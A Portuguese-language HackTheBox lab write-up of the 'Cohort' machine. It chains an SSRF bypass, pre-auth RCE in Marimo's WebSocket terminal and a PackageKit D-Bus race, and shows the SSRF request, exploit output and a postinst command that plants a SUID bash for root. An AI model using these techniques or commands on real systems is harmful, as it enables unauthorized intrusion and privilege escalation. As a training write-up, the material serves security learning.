Cohort — writeup HTB e cadeia de exploração

Máquina Cohort (HackTheBox). Cadeia de ataque completa:

1. SSRF na API Flask (/api/validate) → descoberta de vhost interno
2. RCE pré-autenticação no terminal WebSocket do Marimo 0.20.4 (CVE-2026-39987) → shell como marimo
3. Escalação de privilégios via PackageKit 1.2.8 D-Bus TOCTOU (CVE-2026-41651) → bash SUID → root

As flags não foram incluídas intencionalmente (regras do HTB).

1. Reconhecimento e enumeração

10.129.93.8        cohort.htb

• 8080 — nginx servindo uma aplicação Flask (endpoints /api/...)
• 8888 — servidor interno de notebooks Marimo (vhost: nb-1be3782a8afd3ad5.cohort.htb), não exposto externamente

2. SSRF → descoberta de vhost interno

A aplicação expunha um endpoint de validação de URL que buscava conteúdo remoto e o refletia. O filtro de URL podia ser contornado codificando o endereço de loopback:

POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

Isso atingiu o nginx interno e revelou os upstreams configurados, incluindo o vhost interno do Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.

3. RCE pré-autenticação — Marimo 0.20.4 (CVE-2026-39987)

O handler do terminal WebSocket do notebook do Marimo não validava a autenticação. Conectar-se a /terminal/ws gera um shell bash via pty.fork().

O vhost interno era acessível através do nginx externo enviando o cabeçalho Host interno:

./scripts/marimo_shell.py 10.129.93.8

[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

Resultado: shell como marimo (uid 1000).

Enumeração como marimo

• dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
• versões de pkcon / polkit correspondem ao padrão TOCTOU vulnerável
• Flag user.txt em /home/marimo/user.txt

4. Escalação de privilégios — PackageKit TOCTOU (CVE-2026-41651)

Vulnerabilidade

O PackageKit 1.2.8 tem uma falha de time-of-check / time-of-use: o papel e as flags da transação lidos pelo callback idle do GLib podem sofrer race ao emitir duas chamadas D-Bus assíncronas na mesma transação, de modo que o backend privilegiado executa a segunda chamada (papel NONE, sem verificação de autenticação) mesmo que a primeira (SIMULATE) já tenha passado pela verificação de autorização.

Duas chamadas são emitidas em sequência na mesma transação:

1. InstallFiles(SIMULATE=4) — passa pela verificação de autorização do polkit
2. InstallFiles(NONE=0) — carrega o .deb malicioso, lido como parte do mesmo lote de mensagens

O .deb malicioso executa um script postinst como root que deixa um bash SUID:

cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

Exploit funcional

Detalhe chave: as duas chamadas devem ser enviadas juntas para que o backend leia ambas as mensagens em um único lote. Use call() assíncrono do GIO + flush_sync():

./scripts/cve-2026-41651_gio.py

[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

Por que a primeira tentativa falhou

O exploit inicial usava python-dbus:

./scripts/cve-2026-41651_pydbus.py   # ❌ race perdida

O python-dbus serializa as duas chamadas InstallFiles em escritas separadas, então o callback idle do backend as processou como eventos separados e a race nunca ocorreu. O flush_sync do GIO envia ambas as mensagens D-Bus em um único lote de escrita → race vencida.

Root

/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt legível.

Arquivos

scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)